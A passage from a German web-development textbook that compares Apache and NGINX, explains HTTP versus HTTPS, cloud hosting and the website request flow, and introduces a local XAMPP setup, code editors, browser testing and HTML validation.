                    Zwar werden Sie – sofern Sie Interesse daran haben – auf Begriffe wie Long Polling oder ähnliche stoßen, doch keine dieser Alternativen kann das HTTP-Problem lösen, dass es ein zustandsloses Protokoll ist. Und solange man dieses Problem am Hals hat, bedeutet dies, dass ein Client entweder in regelmäßigen Abständen den Server kontaktieren muss, um abzufragen, ob neue Informationen bereitstehen; oder der Client stellt eine einmalige Anfrage, die auf Serverseite mit einer Endlosschleife und einem Sleep-Zustand beantwortet wird, während der wiederum in regelmäßigen Abständen abgefragt wird, ob neue Informationen existieren. Schlussendlich ist es dann jedoch relativ egal, ob der Client oder der Server mit dieser regelmäßigen Anfrage beauftragt wird: Es ist in jedem Fall nicht die korrekte Vorgehensweise, denn sie erzeugt einen Overhead an Anfragen, der nach einiger Zeit dazu führen wird, dass der Server crasht.

                    Ein weiteres Problem ist, dass Node.js als Runtime auf einem Server installiert werden muss, was ohne entsprechende administrative Rechte (über die ein normalsterblicher Webentwickler normalerweise nicht verfügt) einfach nicht möglich ist. Node.js ist demnach ein Thema für (weit) fortgeschrittene Entwickler und Entwicklerinnen, die über entsprechende Möglichkeiten auf der Serverseite verfügen, indem sie beispielsweise eigene Server betreiben.

                    Es sei an dieser Stelle aber auch erwähnt, dass Node.js eher mit PHP als mit einem Webserver wie Apache oder NGINX verglichen werden kann, da Node.js JavaScript als Programmiersprache nutzt.

                
            
            
                Welcher Webserver soll’s nun werden?

                Halten wir noch einmal die wesentlichen Vor- und Nachteile der unterschiedlichen Systeme mit einer Skala von 1 bis 10 (1: schwach, 10: supergut) fest:

                
                    
                        
                            	
                            	
                                Apache

                            
                            	
                                NGINX

                            
                        

                    
                    
                        
                            	
                                Verbreitung

                            
                            	
                                10
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                                Multi-Funktionalität

                            
                            	
                                3 (Webserver, mod_proxy, mod_cache)

                            
                            	
                                4 (Webserver, Reverse Proxy, Loadbalancer, Caching-System)
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                                Dynamische Inhalte

                            
                            	
                                9

                            
                            	
                                5

                            
                        

                        
                            	
                                Verzeichnisbasierte Konfiguration

                            
                            	
                                10

                            
                            	
                                1

                            
                        

                        
                            	
                                Modul-Handling

                            
                            	
                                9

                            
                            	
                                5 (NGINX Plus: 10)

                            
                        

                        
                            	
                                Sicherheitsthemen

                            
                            	
                                8

                            
                            	
                                7 (NGINX Plus: 8)

                            
                        

                        
                            	
                                Unterstützung

                            
                            	
                                10

                            
                            	
                                9

                            
                        

                    
                

                Tabelle 3.3    
            Der Versuch einer Bewertung von Apache vs. NGINX

                Das Fazit lautet somit (sofern Sie eine Wahl haben):

                
                    	
                        Wählen Sie den Apache, wenn Sie auf Shared-Hosting-Systemen arbeiten, bevorzugt dynamische Inhalte ausliefern und wenn sich die parallelen Zugriffe auf Ihr System in Grenzen halten (wenn Sie also keine Suchmaschine oder Ähnliches betreiben).

                    

                    	
                        Wählen Sie NGINX, wenn Sie hoch performante Systeme entwickeln wollen, die bevorzugt statischen Content ausliefern. Auch eignet sich NGINX hervorragend für die Skalierung von Systemen.

                    

                

            
        
        
            3.8.2    HTTP vs. HTTPS – unsicher oder doch sicher?

            Wie ich bereits in Abschnitt 3.2 über Protokolle und Ports angemerkt habe, können Websites über HTTP oder über HTTPS betrieben werden. Das Kürzel HTTP steht für Hypertext Transfer Protocol. Das »S« in HTTPS steht für secure. Der Unterschied zwischen HTTP und HTTPS liegt in der Art und Weise, wie die Daten zwischen Client und Server transferiert werden: Während im Falle von HTTP die Daten als Plain Text (also im Klartext) und somit unsicher transferiert werden, setzt HTTPS auf eine Verschlüsselung der Daten mittels SSL auf Basis einer asymmetrischen Technik. (Nähere Informationen zur asymmetrischen Verschlüsselung finden Sie in Abschnitt 13.5.)

            Die Entscheidung, ob Daten zwischen einem Client und einem Server verschlüsselt über HTTPS oder unverschlüsselt über HTTP transferiert werden, kann – anders als man vielleicht vermuten mag – von uns beim Webdesign nicht beeinflusst werden. Diese Entscheidung wird im Rahmen des Hostings von Websites getroffen. Websites können grundsätzlich auf beide Arten betrieben werden, wobei der Trend jedoch zu HTTPS geht.

            Grundsätzlich sollte eine jede Website mit HTTPS betrieben werden, sobald User-Eingaben an den Server übermittelt werden (Formulare, Passwörter, Kreditkarteninformationen etc.). Und darüber hinaus kennzeichnen die gängigen Browser eine mit HTTP betriebene Website als unsicher, was mit Sicherheit keinen guten Eindruck bei den Usern hinterlässt.

        
        
            3.8.3    Ein paar Worte zum Cloud-Hosting

            War es in den letzten Jahrzehnten noch üblich, auf einen Hosting-Provider zurückzugreifen, so haben sich im letzten Jahrzehnt mehr und mehr Cloud-Hoster am Markt etabliert. Hierbei befindet sich die Website (oder auch die App) auf virtuellen Servern in der Cloud. Dies bietet gegenüber dem Webhosting vor allem einen wesentlichen Vorteil: Benötigt eine Website – etwa aufgrund erhöhter Nachfrage – auf einmal mehr Ressourcen, so muss beim Webhosting auf ein anderes Paket umgestellt werden. Im Falle von Cloud-Hosting kann der Website-Inhalt auf mehrere virtuelle Server verteilt werden, wodurch sich die Last pro Server verringert. Aus diesem Grund spricht man auch davon, dass Cloud-Hosting robuster und zuverlässiger als Webhosting ist.

            Cloud-Hoster gibt es mittlerweile recht viele am Markt: Google Cloud, Azure (Microsoft), AWS (Amazon Web Services) und viele weitere.

        
    


                    
                        
        3.9    Ach ja, und wie funktioniert nun eine Website?

        Fasst man die bis dato gesammelten Informationen nun zusammen, so ergibt sich für eine Website nun folgendes Bild:

        
            	
                Der Website-Betreiber

                
                    	
                        registriert eine Domain.

                    

                    	
                        stellt (vor allem) einen Webserver (Web-Host) bereit, auf dem die Website gehostet werden soll.

                    

                    	
                        stellt üblicherweise einen Mailserver (Mail-Host) bereit, über den Mails gesendet und empfangen werden können.

                    

                    	
                        stellt Zugangsdaten zu den jeweiligen Servern (Hosts) bereit, die an den Webentwickler weitergegeben werden.

                    

                

            

            	
                Der Webentwickler / die Webentwicklerin

                
                    	
                        erhält Hosting-Informationen vom Website-Betreiber (insbesondere FTP-Zugangsdaten).

                    

                    	
                        lädt die Dateien (sowie gegebenenfalls Datenbankdaten) auf den Host hoch und stellt somit die Website den potenziellen Usern zur Nutzung bereit.

                    

                

            

            	
                Die User

                
                    	
                        öffnen einen Browser (WWW-Client) und geben den Domainnamen ein.

                    

                    	
                        Der Browser stößt im Hintergrund eine Namensauflösung an (Übersetzung der Domain in eine IP-Adresse), indem er eine DNS-Anfrage an denjenigen DNS-Server stellt, der durch den Internet Service Provider des Users bereitgestellt wird. (Dies ist üblicherweise ein Eintrag in den Konfigurationseinstellungen des Modems.) Er erhält dann die IP-Adresse desjenigen (Web-)Servers, der die Daten zur gewünschten Domain bereithält.

                    

                    	
                        Der Browser des Users kontaktiert nun diesen Webserver in Form eines »Requests« und erhält vom Server die gewünschten Daten in Form eines »Response«.

                    

                

            

        

        
            [»]  Der Request an den Server: eine unvollständige Darstellung

            An dieser Stelle sei angemerkt, dass die Beschreibung der Anfrage eines Browsers an einen Server hier noch nicht ganz vollständig und exakt ist. Jedoch ist sie an dieser Stelle präzise genug, um ein gewisses Grundverständnis für die Funktionsweise einer Website zu erhalten. In den folgenden Kapiteln werden wir auf diese Funktionsweise noch einige Male zu sprechen kommen und die Darstellung Schritt für Schritt verfeinern.

        

        Abbildung 3.4 fasst die einzelnen Schritte noch einmal zusammen:

        
            	
                Nachdem der User in seinem Browser die Domain eingegeben hat, die er besuchen möchte, hängt der Browser zunächst einmal das zu erwartende Protokoll (hier: HTTP) an diese Anfrage an. Bevor der Browser jedoch den zugehörigen Server kontaktieren kann, muss dessen IP-Adresse erst einmal ermittelt werden. Hierzu kontaktiert der Browser einen Nameserver-Dienst und übermittelt diesem die Domain (samt Dienst).

            

            	
                Der Nameserver löst (gegebenenfalls unter Zuhilfenahme weiterer Nameserver) die Domain in eine IP-Adresse auf, die er an den Browser zurückliefert.

            

            	
                Nun kann der Browser eine Anfrage an den Server stellen (konkret: an die vom Nameserver zurückgelieferte IP-Adresse, der er das Protokoll voranstellt) und dem Server sowohl die eigene IP-Adresse wie auch einen Port schicken, an die der Server antworten kann. Dies nennt man den Request an den Server.

            

            	
                Der Server verarbeitet nun den Request, indem er das vom Client gewünschte Dokument einliest. Ist ein solches Dokument nicht mit angegeben worden, nimmt der Server stattdessen das Standarddokument (index.html oder ein ähnliches; siehe Abschnitt 3.8).

            

            	
                Der Server liefert den Inhalt des gewünschten Dokuments in Form seines Response an den Client zurück.

            

            	
                Der Client verarbeitet in weiterer Folge die Antwort des Servers, indem er aus dem übermittelten Inhalt zunächst den HTML-Code abarbeitet (»parst«) und daraus den sogenannten Dokumentbaum erzeugt. Währenddessen fragt der Browser alle noch benötigten Daten vom Server an. Alsdann macht er sich über die Formatierungs- und Scriptdateien her und arbeitet diese ab.

            

            	
                Sobald alles verarbeitet wurde und auch alle noch angefragten Daten vom Server geliefert wurden, ist der Client fertig.

            

        

        
            [image: Der Ablauf beim Aufruf einer Website (ohne Angabe eines Dokuments) im Browser (Client) des Users]

            Abbildung 3.4    
            Der Ablauf beim Aufruf einer Website (ohne Angabe eines Dokuments) im Browser (Client) des Users

        
        In den folgenden Kapiteln werden wir noch mehrere Male auf diese Grafik zurückkommen und uns einzelne Teile detaillierter ansehen. Nichtsdestotrotz liefert diese Grafik einen Überblick über die wesentlichen Schritte bei der Abarbeitung einer Website durch Client, Name- und Webserver. Sie ist die Grundlage für das weitere Verständnis der Webentwicklung.

    


                    
                        4    Die lokale Entwicklungsumgebung
Über eine eigene Entwicklungsumgebung zu verfügen, macht uns die Arbeit bei der Entwicklung von Websites sehr viel einfacher. Wir müssen uns an dieser Stelle (noch) keine Gedanken darüber machen, wo die Website schlussendlich gehostet wird, sondern können sie auf unseren eigenen Rechnern entwickeln.
Was brauchen wir also an Vorbereitung, um dann so richtig loslegen zu können? Wir brauchen eine Entwicklungsumgebung, die folgende Services umfasst:

        	
            einen Webserver

        

        	
            eine Erweiterung des Webservers mit einer serverseitigen Programmiersprache

        

        	
            einen Datenbankserver

        

        	
            gegebenenfalls einen Mail- und einen FTP-Server

        

        	
            einen HTML-(CSS-, JS-, PHP-)Editor

        

    

        4.1    Server-Software – wir spielen Provider

        Wie bereits erwähnt, handelt es sich bei den genannten Servern um Softwareprodukte, die man auf fast allen Computern installieren kann – beinahe völlig unabhängig vom dort vorhandenen Betriebssystem. Das bedeutet also: auch auf dem eigenen Notebook, dem eigenen Desktop-Gerät usw. Um sich die Arbeit ein wenig zu erleichtern, greift man gerne auf Softwarepakete zurück, in denen die genannten Server bereits enthalten sind. Tabelle 4.1 gibt Ihnen einen Überblick über Pakete wie XAMPP und Co.
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                        M: macOS

                        L: Linux

                        X: Cross-Plattform

                    
                    	
                        A: Apache

                        I: Internet Information Server (IIS)

                    
                    	
                        M: MySQL (DB-System: MariaDB)

                    
                    	
                        P: PHP

                    
                    	
                        P: Perl

                    
                    	
                

            
        

        Tabelle 4.1    
            Übersicht über die gängigen Serverpakete

        Das XAMPP-Paket wird im Allgemeinen sehr gern verwendet, da es für alle gängigen Betriebssysteme (auch OS: Operating System) verfügbar ist. Außerdem sind mir keine schlechten Erfahrungen mit XAMPP bekannt, was ein Grund ist, dass auch ich dieses Paket gern verwende. Je nach Betriebssystem erhält man nach der Installation ein Control Panel, in dem man die gewünschten Dienste starten kann. Im Fall von macOS würde dies etwa so aussehen wie in Abbildung 4.1.

        Nach dem Starten der gewünschten Dienste bleibt noch zu klären:

        
            	
                Wie kann der lokale Webserver bzw. in weiterer Folge die Website, die man entwickeln möchte, in einem Browser aufgerufen werden?

                
                    	
                        Der Webserver ist ebenso unter dem Namen localhost wie auch unter der IP-Adresse des »lokalen Hosts«, 127.0.0.1 (IPv4) oder ::1 (IPv6), erreichbar.

                    

                    	
                        Außerdem kann man ihn auch über die dem Computer zugewiesene IP-Adresse erreichen. (Diese ist jedoch von Netzwerk zu Netzwerk unterschiedlich.)

                    

                

                In den meisten Fällen verwendet man die Angabe von http://localhost im Browser.

            

            	
                Wo müssen die Dateien abgelegt werden, die Teil der Website sein werden? Hierfür stellt der installierte Webserver ein eigenes Verzeichnis bereit, in das die Daten abgelegt werden müssen. Im Fall von XAMPP sind dies:

                
                    	
                        Windows: c:\xampp\htdocs

                    

                    	
                        macOS: Programme/XAMPP/htdocs

                    

                

            

        

        
            [image: Das Control Panel von XAMPP unter macOS. Derzeit ist kein Dienst (Server) gestartet, was an den roten Icons erkennbar ist.]

            Abbildung 4.1    
            Das Control Panel von XAMPP unter macOS. Derzeit ist kein Dienst (Server) gestartet, was an den roten Icons erkennbar ist.

        
        Sämtliche Dateien, die sich bereits im htdocs-Verzeichnis befinden, stellen lediglich Dateien dar, die durch die Installation als »Beispieldateien« eingespielt wurden, und können demnach sorgenfrei gelöscht werden – schlussendlich handelt es sich beim htdocs-Verzeichnis ja um dasjenige Verzeichnis, in dem Sie Ihre Dateien ablegen.

        Das htdocs-Verzeichnis selbst nennen wir das Root-Verzeichnis bzw. die Document Root unseres Webservers.

    


                    
                        
        4.2    Editoren

        Es gibt zahlreiche Webeditoren auf dem Markt, weshalb ich an dieser Stelle nur eine Auswahl darstelle. An sich könnten Sie jedes Programm heranziehen, das zum Speichern textbasierter Inhalte in der Lage ist. Nichtsdestotrotz verzichten wir gern auf MS Word o. Ä. als HTML-Editoren, da diese Programme üblicherweise nicht über ein Code-Highlighting verfügen.

        Die wichtigsten Features eines guten Editors sind:

        
            	
                Code-Highlighting: Die von einem Editor als korrekt erkannten Befehle werden in unterschiedlichen Farben (hervorgehoben) dargestellt.

            

            	
                Code-Folding: Zusammenhängende Code-Teile können ein- und ausgeblendet werden.

            

            	
                Syntax-Completion: Erkannte Befehle werden automatisch beim Tippen vervollständigt, Blockbefehle oder Tags werden automatisch geschlossen.

            

            	
                Projektverwaltung: Die Möglichkeit, an mehreren Projekten (Websites) parallel zu arbeiten.

            

            	
                Module/Add-Ons: Die Möglichkeit, die Funktionalität von Editoren zu erweitern:

                
                    	
                        ein FTP-Client, der das Bereitstellen von Dateien auf einen Webserver erleichtert

                    

                    	
                        ein Validator, der Code auf Fehler überprüfen kann

                    

                

            

        

        
            [Info]  Tags? Blockbefehle?

            Ja, diese Begriffe sind zu diesem Zeitpunkt noch nicht bekannt. Aber gedulden Sie sich ein wenig, denn bald sind Sie Profi im Umgang damit.

        

        Die Auswahl an – kostenfreien wie kostenpflichtigen – Editoren ist groß, weshalb ich Ihnen zwei kostenfreie und zwei kostenpflichtige Editoren vorstelle, die ich allesamt als sehr gut erachte:

        
            	
                Notepad++ (https://notepad-plus-plus.org/downloads/): Notepad++ ist zwar ein sehr einfacher (und auch kostenfreier) Editor, dennoch ist er für das Erlernen neuer Programmiersprachen sehr wertvoll, da er Ihnen nicht allzu viel Hilfestellung bietet (was beim Lernen als sehr positiv angesehen werden sollte).

            

            	
                VS Code (Visual Studio Code; https://code.visualstudio.com/download): VS Code ist ein Editor von Microsoft, der für die Betriebssysteme Windows, macOS und Linux zur Verfügung steht. Dieser Editor ist in Entwicklerkreisen sehr beliebt, da er einerseits sehr gut verwendbar und andererseits kostenfrei ist.

            

            	
                Dreamweaver (https://www.adobe.com/at/products/dreamweaver.html): Im Gegensatz zu den beiden erstgenannten Editoren ist der Dreamweaver von Adobe nicht kostenfrei. Dennoch ist er sehr verbreitet, da viele Entwickler*innen die Creative Suite von Adobe verwenden, in der auch der Dreamweaver enthalten ist. Er zeichnet sich durch einen recht vollständigen Funktionsumfang aus, denn er wird beispielsweise gleich mit integriertem FTP-Client ausgeliefert, was bei den oben genannten Editoren nicht der Fall ist. (Bei ihnen muss der FTP-Client demnach nachträglich installiert werden.)

            

            	
                PHPStorm (https://www.jetbrains.com/de-de/phpstorm/download/): Der von JetBrains entwickelte Editor ist ebenfalls nicht kostenfrei, aber – genau wie der Dreamweaver – sehr umfangreich in den Funktionalitäten. Viele PHP-Entwickler*innen schätzen ihn deshalb und greifen gern auf ihn zurück.

            

        

        Ich für meinen Teil würde Ihnen Folgendes empfehlen:

        
            	
                Wenn Sie ganz am Anfang stehen und noch keine Idee von der Website-Entwicklung bzw. von der Programmierung haben, dann greifen Sie zu einem Editor wie dem Notepad++, der Ihnen so wenig Hilfestellung wie möglich leistet. Sie werden dann zwar mehr Fehler machen, aber nur aus diesen Fehlern lernen Sie auch.

            

            	
                Wenn Sie schon ein Semi- oder Voll-Profi sind, dann empfiehlt sich ein Editor, der Ihnen Arbeit abnimmt. Das gilt für den kostenfreien VS Code gleichermaßen wie auch für den kostenpflichtigen Dreamweaver oder PHPStorm. Ich persönlich setze auf den Dreamweaver, den ich seit seinen Anfangszeiten zu schätzen gelernt habe.

            

        

    


                    
                        
        4.3    Der Browser als Interpreter und Testumgebung

        Was ein Browser ist, muss ich Ihnen sicher nicht mehr extra erklären, da wir alle unsere täglichen Internet-Arbeiten mit einem solchen erledigen. In jedem Fall möchte ich Ihnen sehr ans Herz legen, sich während der Entwicklung einer Website nicht allzu sehr auf einen Browser zu konzentrieren, sondern Ihre Websites immer in unterschiedlichen Browsern (und idealerweise sogar auf unterschiedlichen Betriebssystemen) zu testen. Für den Desktop sind das:

        
            	
                Google Chrome: https://www.google.de/chrome/

            

            	
                Mozilla Firefox: https://www.mozilla.org/de/firefox/new/

            

            	
                Opera: https://www.opera.com/de/download

            

            	
                unter Windows: Edge

            

            	
                unter macOS: Safari

            

        

        Auf mobilen Geräten werden meist die vorinstallierten Browser genutzt, also Chrome auf Android-Geräten und Safari unter iOS.

        Halten wir an dieser Stelle aber noch einmal kurz inne und rekapitulieren wir, was wir in Kapitel 3 über einen Browser erfahren haben:

        
            	
                Der Browser stellt »auf Wunsch« des Users eine Anfrage (Request) an den Webserver, um zunächst etwa den HTML-Code einer Webseite zu erhalten.

            

            	
                Sobald der Webserver dieser Anfrage nachgekommen ist, sendet er eine Antwort (Response) an den Browser zurück, und zwar in Form der angefragten Daten (in diesem Fall: den gewünschten HTML-Code).

            

            	
                Der Browser muss den erhaltenen HTML-Code nun verarbeiten und entsprechend darstellen.

            

        

        Speziell der dritte Punkt ist für unser weiteres Verständnis wesentlich, denn er beinhaltet einige sehr wesentliche Tatsachen:

        
            	
                Der Browser erhält den HTML-Code in Textform: Dies bedeutet, dass ein HTML-Code von jedem zu lesen ist, wenn man einfach nur die Antwort des Servers an den Browser »lesen« kann. Dies geschieht etwa durch Darstellen des Quellcodes im Browser: Klicken Sie mit der rechten Maustaste auf das Browserfenster, danach auf Seitenquelltext anzeigen (je nach verwendetem Browser heißt dieser Menüpunkt etwas anders). Ein HTML-Code ist demnach kein Geheimnis und lässt sich auch nicht verheimlichen.

            

            	
                Der Browser muss in der Lage sein, den HTML-Code richtig zu verstehen und diesen korrekt zu »interpretieren«: Wie die Kapitelüberschrift bereits erkennen lässt, handelt es sich bei einem Browser um einen Interpreter, was nichts anderes bedeutet, als dass der Browser den zu verarbeitenden Code in seiner Urform (also als geschriebenen Text) erhält und die darin befindlichen Befehle umsetzen können muss. Diese Art der Verarbeitung von Code nennt man »interpretieren«.

            

        

        
            [»]  Interpreter vs. Compiler

            Unter einem Interpreter verstehen wir ein Programm, das den bereitgestellten Code (den »Quellcode«) Zeile für Zeile ausliest und ausführt. Das kann ein Browser sein oder auch – wie im Falle von PHP – eine Software, die auf der Serverseite installiert ist.

            Ein Compiler hingegen liest zunächst den gesamten Code ein und übersetzt diesen in Maschinensprache. Häufig wird dieser Quellcode zuvor noch in eine Art Zwischensprache und somit in einen anderen Code – den Objektcode – übersetzt und danach in Maschinensprache gebracht. Interpretierte Sprachen sind HTML, JavaScript und PHP; compilierte Sprachen beispielsweise Java, C, C++ und C#.

        

        Aus der obigen Überlegung ergeben sich jedoch wieder einige Fragen:

        
            	
                Was wäre, wenn der Browser den Code nicht versteht? Das wäre etwa dann der Fall, wenn eine neue Version der Sprache (HTML), die einer Website zugrunde liegt, veröffentlicht werden würde, der Browser jedoch noch nicht auf den neuesten Stand gebracht wurde (z. B. durch ein Update). Es erscheint logisch, dass der (alte) Browser die neuen HTML-Befehle dann offensichtlich nicht interpretieren kann. Diese Situation wäre vergleichbar mit einer neuen Vokabel in einer Sprache (z. B. Spanisch), die wir gelernt haben: Solange wir nicht auch die Bedeutung des neuen Worts kennen, verstehen wir zwar die Sprache Spanisch an sich, jedoch verstehen wir die (neue) Vokabel (noch) nicht. Dazu müssten wir unser Wissen erst aktualisieren (quasi ein Update machen).

            

            	
                Was passiert, wenn der Code, den der Browser vom Server erhält, fehlerhaft ist? Wie soll der Browser damit umgehen?
Ein Browser ignoriert Elemente, wenn er diese nicht erkennt, und stellt den Inhalt als sogenanntes Inline-Element dar. Das heißt, der Textinhalt des Elements wird als solcher dargestellt, jedoch ohne die gewünschte Bedeutung. Das kommt gar nicht so selten vor, wie man vielleicht annehmen würde, denn die »Macher« von HTML (das W3-Konsortium) bringen in unregelmäßigen Abständen neue Elemente heraus, die die Browserhersteller erst in ihre Browser integrieren müssen. Solange dies nicht geschehen ist und die Browser somit kein entsprechendes Update erfahren haben, bleibt das Problem bestehen. Anders als durch ein Update des Browsers lässt sich dieses Problem nicht lösen.

            

        

        Die Antwort auf Punkt 2 fällt jedoch etwas ausführlicher aus, denn zunächst einmal muss man sich darauf besinnen, welchen (Content-)Typ von Daten der Browser erhält: text/html. Wie Sie aus den obigen Ausführungen erfahren haben, handelt es sich hierbei um einen Inhaltstyp, der textbasiert ist und somit darin befindliche Fehler verzeihen darf (aber nicht muss). Ein Browser kann demnach auf einen Fehler im HTML-Code folgendermaßen reagieren:

        
            	
                Der Browser verweigert die Darstellung der Webseite: Das wäre ein sehr, sehr unüblicher Fall, jedoch wäre er möglich. Wenn der Browserhersteller korrekten Code erzwingen möchte und keine Fehler zulässt, so würden fehlerhafte Codes nicht dargestellt werden.

            

            	
                Der Browser ignoriert den Fehler und stellt all denjenigen Code dar, den er interpretieren kann.

            

            	
                Der Browser korrigiert eigenständig den Code, sodass dieser fehlerfrei dargestellt werden kann.

            

        

        Selbst wenn der Browser den fehlerhaften Code irgendwie darzustellen versucht, ist fehlerhafter Code ein Problem, und zwar sowohl für Menschen mit eingeschränkten Sehfähigkeiten (denen der Code von einem Screenreader vorgelesen wird) als auch für Suchmaschinen, die den Code nicht korrekt »verstehen« können. Beides sind Probleme, die nicht unerheblich sind: Suchmaschinen gehen normalerweise dazu über, fehlerhaften Code »abzustrafen«, indem die betroffenen Websites weniger prominent in den Suchergebnissen aufgeführt werden.

        Auf der anderen Seite bedeutet Obiges aber auch, dass der tatsächlich im Browser dargestellte Code vom Browser selbst auf eine gewisse Art »verändert« wurde, wenn der Browser sich dazu entscheidet, den Code zu korrigieren. Aus diesem Grund unterscheiden wir den »Quelltext« auf der einen Seite und den tatsächlich dargestellten Code auf der anderen Seite:

        
            	
                Der Quelltext ist derjenige Code, den der Server an den Browser gesendet hat, und somit auch der Code, den entweder der Webdesigner selbst geschrieben hat oder der durch eine etwaige serverseitige Programmierung (mittels PHP o. Ä.) generiert wurde. In jedem Fall könnte man sagen, dass es sich um das »Original« handelt.

            

            	
                Die Interpretation des Quelltextes durch den Browser (das Ergebnis dieser Interpretation nennt man den Dokumentbaum) stellt denjenigen Code dar, der also tatsächlich »verwendet« wurde. In diesem Code können sich Änderungen befinden, die der Browser vorgenommen hat.

            

        

        Wenn wir es mit Fehlern zu tun haben, gehen unsere Überlegungen jedoch noch etwas tiefer, denn an sich unterscheiden wir mehrere Arten von Fehlern, die beim Schreiben von Code auftreten können. Um Fehler erkennen zu können, bedienen wir uns gerne eines Validators (siehe etwas weiter unten), also eines Systems (Software, Cloud-Dienst etc.), das unseren Code validiert (überprüft). Gerade im Fall interpretierter Sprachen ist eine Validierung des Codes von besonderer Bedeutung, da kein vorangestellter Compiler existiert, der den Code prüft und erst dann in ein finales Ergebnis überführt, wenn dieser – soweit erkennbar – fehlerfrei ist.

        
            	
                Lexikalische Fehler: Hierunter verstehen wir fehlerhafte Schreibweisen von Befehlen. Beispiele wären etwa <hmtl> anstatt <html> für HTML, conlose.log anstatt console.log in JavaScript oder printr anstatt print_r im Rahmen von PHP. Fehler dieser Art sind einfach zu erkennen, sofern sämtliche Befehle einem Validierungssystem bekannt sind.

            

            	
                Syntaktische Fehler: Hiermit sind Fehler gemeint, die entstehen, weil der Code-Aufbau falsch ist. In HTML wären dies etwa fehlerhafte Verschachtelungen von Tags, in JavaScript und PHP etwa falsch gesetzte Klammern. »Gut« an solchen Fehlern ist, dass ein Validator sie leicht erkennt.

            

            	
                Semantische Fehler: Fehler dieser Art treten vorrangig in semantikorientierten Sprachen wie HTML auf , und zwar wenn Befehle, Tags o. Ä. falsch eingesetzt wurden, da sie für den gewählten Einsatz nicht »passend« sind. Beispielsweise würde man in HTML das Tag <div> nicht verwenden, um einen Textabsatz zu erzeugen, da hierfür das <p> gedacht ist. Nichtsdestotrotz wäre die Darstellung von Text auch im Rahmen eines <div> möglich, nur eben nicht sinnvoll, wenn man einen Textabsatz (Paragrafen) erzeugen möchte. Fehler dieser Art sind schwer zu erkennen, da ein Validator dazu die Bedeutung des Inhalts verstehen müsste, was jedoch in den meisten Fällen Ihnen vorbehalten ist. Im Fall von Programmiersprachen könnten semantische Fehler etwa dann vorhanden sein, wenn mit einer falschen Funktion gearbeitet wurde.

            

            	
                Logische Fehler: Darunter versteht man üblicherweise Fehler im Programmcode, die zu unerwarteten Ergebnissen führen. Ein Programmierer könnte Angaben falsch gedeutet oder diese falsch umgesetzt haben. Auch solche Fehler sind für einen Validator nur sehr schwer zu erkennen, denn hierzu müsste der Validator wissen, welches Problem hier eigentlich gelöst werden sollte.

            

            	
                Laufzeitfehler: Neben den genannten Fehlern kennt man in der Programmierung auch noch Laufzeitfehler, die erst während der Verwendung der dahinterliegenden Applikation/Website entstehen. Fehler dieser Art sind für einen Validator ebenfalls nicht erkennbar, da hierzu der gewünschte Code ausgeführt werden müsste.

            

        

        Die wesentlich wichtigere Frage ist jedoch, warum wir beim Webdesign überhaupt fehlerhaften HTML-Code produzieren. Nun, diese Frage zu beantworten bzw. eine Entschuldigung dafür zu finden, erfordert einen neuerlichen Blick auf die Geschichte von Websites. Ein Grund ist nämlich, dass ein Großteil der Webdesigner*innen aus einer anderen Berufssparte kommen, die üblicherweise eher im grafischen Bereich als im Informatikbereich angesiedelt ist.

        Da HTML als Sprache an sich zunächst sehr einfach erscheint, wagen sich viele »berufsfremde« Personen an die Entwicklung von Websites, und das zumeist durch »Learning-by-doing« oder im Heimstudium. Diese Herangehensweise ist in vielen Fällen (zunächst) auch erfolgreich, und man erzielt rasch (gute) Ergebnisse. Weil jedoch ein Browser etwaige Fehler verzeiht oder korrigiert, fallen die geschriebenen Fehler auch nicht auf, da der Browser den Code ja (optisch) »korrekt« darstellt – was sich dahinter an Fehlern verbirgt, bleibt verborgen. Aus dieser Tatsache heraus eignet sich manch angehender Webdesigner jedoch Praktiken an, die fehlerbehaftet sind – und das, ohne dass er davon etwas mitbekommt. Es ist dem Webdesigner also nichts vorzuwerfen, denn sein Code wird vom Browser einwandfrei interpretiert.

        Wie kann man diesem Problem also Herr werden? Das W3-Konsortium stellt hier ein Online-Tool zur Verfügung, um den eigenen HTML-Code überprüfen zu lassen. Ein solches Tool ist der bereits erwähnte Validator, wobei der hier angesprochene Validator unter https://validator.w3.org zu finden ist (siehe Abbildung 4.2).

        
            [image: Der HTML-Validator des W3-Konsortiums ist ein kleines, aber feines Tool zum Prüfen des eigenen (oder auch fremden) HTML-Codes.]

            Abbildung 4.2    
            Der HTML-Validator des W3-Konsortiums ist ein kleines, aber feines Tool zum Prüfen des eigenen (oder auch fremden) HTML-Codes.

        
        Der zu prüfende Code kann auf dreierlei Art bereitgestellt werden:

        
            	
                durch Angabe einer URL (Webadresse) – Validate by URI

            

            	
                durch Hochladen einer Datei – Validate by File Upload

            

            	
                durch Eingabe bzw. Copy-and-paste des betreffenden HTML-Codes in ein (großes) Textfeld – Validate by Direct Input

            

        

        Ein mögliches Ergebnis (hier wurde Validate by Direct Input eingesetzt) sehen Sie in Abbildung 4.3.

        
            [image: Nach der Überprüfung des HTML-Codes liefert der Validator das Ergebnis »No errors or warnings to show«.]

            Abbildung 4.3    
            Nach der Überprüfung des HTML-Codes liefert der Validator das Ergebnis »No errors or warnings to show«.

        
        Wenn man ehrlich ist: »As easy as can be«. So einfach kann die Überprüfung des eigenen Codes sein. Bleibt nur noch zu klären, warum manche (viele?) Webdesigner*innen dieses doch recht einfache Tool nicht in Anspruch nehmen.

        Auch wenn Ihnen der oben dargestellte Code noch fremd erscheint: Erinnern Sie sich beim Schreiben von HTML-Code später daran, den geschriebenen Code im Validator überprüfen zu lassen.

        Eine andere Form eines Validators ist etwa ein Editor, der ein Code-Highlighting beherrscht. Dieses Feature von Editoren habe ich bereits an mehreren Stellen erwähnt, weshalb ich nicht mehr im Detail darauf eingehe. Beachten Sie jedoch: Sollte der von Ihnen geschriebene Code in einem Editor in einer Farbe dargestellt werden, die Ihnen eigenartig erscheint, dann werfen Sie noch einmal einen Blick auf Ihren Code (siehe Abbildung 4.4).

        
            [image: Der Code sieht an sich gut aus, jedoch färbt der Editor ihn »eigenwillig« ein. Der Grund ist ein nicht geschlossenes Anführungszeichen.]

            Abbildung 4.4    
            Der Code sieht an sich gut aus, jedoch färbt der Editor ihn »eigenwillig« ein. Der Grund ist ein nicht geschlossenes Anführungszeichen.

        
        Betrachten Sie etwa den Code in Abbildung 4.4, so sollten Sie die gelbe Einfärbung des Codes bis an ihren Anfang hinauf verfolgen. In diesem Bereich werden Sie fündig werden. Korrigieren Sie den Code, so sieht alles wieder wunderbar aus (siehe Abbildung 4.5).

        
            [image: Nachdem der fehlerhafte Code korrigiert wurde, stimmt das Code-Highlighting wieder.]

            Abbildung 4.5    
